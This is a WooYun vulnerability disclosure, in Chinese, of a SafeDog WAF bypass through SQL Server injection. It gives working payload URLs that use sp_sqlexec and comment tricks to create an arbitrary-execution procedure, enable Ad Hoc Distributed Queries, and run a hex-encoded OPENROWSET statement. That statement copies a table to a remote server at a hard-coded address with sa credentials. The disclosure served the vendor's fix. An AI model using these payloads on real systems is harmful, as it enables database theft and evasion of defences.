当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0205421

漏洞标题:一次有趣的过狗经历(sql server特性利用)

相关厂商:安全狗

漏洞作者: niexinming

提交时间:2016-05-05 22:02

修复时间:2016-06-20 11:10

公开时间:2016-06-20 11:10

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-05: 细节已通知厂商并且等待厂商处理中
2016-05-06: 厂商已经确认,细节仅向厂商公开
2016-05-16: 细节向核心白帽子及相关领域专家公开
2016-05-26: 细节向普通白帽子公开
2016-06-05: 细节向实习白帽子公开
2016-06-20: 细节向公众公开

简要描述:

请叫我sql server小王子

详细说明:

先上版本:

1.jpg


首先安全狗对select+from的防御相当严格,但是对于其他的语句的防御就一般了
我们可以利用sql server里面的各自自带的系统存储过程来绕过安全狗的种种限制,从而达到脱裤的效果。
我的思路是:首先要先动态的建立一个存储过程
开始:
我的是这样建立存储过程的:
http://localhost/test.aspx?type=1;CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)--
结果一直不成功,经过调试之后得知:
CREATE/ALTER PROCEDURE' 必须是查询批次中的第一个语句。
后来我查到如果在1后面加个go就可以在sql server企业管理器中查查询出来:
select * from mystu;
go
CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)
但是复制到url中却一直在报go的错误,我很无语,然后在微软的官方搜到一个解释:
如果基于 ODBC 或 OLE DB API 的应用程序试图执行 GO 命令,会收到语法错误。 SQL Server 实用工具从不向服务器发送 GO 命令。
所以无法用go之后,我就一直在找办法,终于在系统拓展存储过程里面发现一个存储过程:
sp_sqlexec
查看这个存储过程的源代码:

USE [student]
GO
/****** Object: StoredProcedure [sys].[sp_sqlexec] Script Date: 2016/5/5 17:49:14 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
ALTER procedure [sys].[sp_sqlexec] @p1 text as
declare @execstr nvarchar(max)
set @execstr = CONVERT(nvarchar(max),@p1)
exec(@execstr)


刚刚好满足我的要求:
于是:
http://localhost/test.aspx?type=1;EXEC student..sp_sqlexec 'CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)'
但是,被安全狗拦截了

2.jpg


但是我改变一下,可爱的狗狗就不拦了
http://localhost/test.aspx?type=1;EXEC/*(*/student..sp_sqlexec 'CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)'
然后发现:

3.jpg


然后,既然建立好了存储过程就代表可以随意随意执行sql语句了:
我们可以这样执行sql语句:
http://localhost/test.aspx?type=1;exec/*(*/myexec 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29
安全狗根本不会拦截
如何利用呢?
首先,你可以开xp_cmdshell这个系统存储过程,并且拿到系统权限,还可以已dns的方式拖出小部分数据
但是今天,我要介绍一个新的玩法就是:远程脱裤
首先这个注入点的权限要高,sql server dba的权限
然后我们要尝试开启sql server的远程调用:
【1】exec sp_configure 'show advanced options',1
【2】reconfigure
【3】exec sp_configure 'Ad Hoc Distributed Queries',1 
【4】reconfigure
对应的利用过程是:
【1】:http://localhost/test.aspx?type=1;exec/*(*/sp_configure 'show advanced options',1
【2】:http://localhost/test.aspx?type=1;reconfigure
【3】:http://localhost/test.aspx?type=1;exec/*(*/sp_configure 'Ad Hoc Distributed Queries',1
【4】:http://localhost/test.aspx?type=1;reconfigure
然后,我们就可以愉快的远程脱裤了:
用这个函数脱裤:
insert openrowset( 'SQLOLEDB ', 'ip地址 '; '数据库用户名'; '数据库密码',远程数据库名.dbo.tmp) select *from 要拖的数据库的表名
这个转换成hex就是:
0x696e73657274206f70656e726f7773657428202753514c4f4c45444220272c20273131352e34372e35332e31313920273b20277361273b20276a7578696e333136272c6873722e64626f2e746d70292073656c656374202a66726f6d2073747564656e742e64626f2e6d79737475
注意,远程的数据库的表的列数和要拖的数据库的表的列数要保持一致,表名可以和要拖的数据库的表名不一样,字段名也可以不一样
然后我在注入点执行这样的语句:
http://localhost/test.aspx?type=1;exec/*(*/myexec 0x696e73657274206f70656e726f7773657428202753514c4f4c45444220272c20273131352e34372e35332e31313920273b20277361273b20276a7578696e333136272c6873722e64626f2e746d70292073656c656374202a66726f6d2073747564656e742e64626f2e6d79737475

4.jpg


好了,愉快的拖出数据来了

漏洞证明:

4.jpg

修复方案:

过滤

版权声明:转载请注明来源 niexinming@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-05-06 11:01

厂商回复:

sql server小王子,忍不住给你点个赞

最新状态:

暂无


漏洞评价:

评价

  1. 2016-05-06 07:15 | SoulHunter ( 实习白帽子 | Rank:42 漏洞数:14 | 已经死了。)

    骑士团参拜公主殿下。

  2. 2016-05-06 10:33 | 带我玩 ( 路人 | Rank:16 漏洞数:8 | 带我玩)

    好神奇的内容。

  3. 2016-05-06 10:36 | niexinming ( 普通白帽子 | Rank:314 漏洞数:52 | 好好学习,天天日站)

    居然还有人评论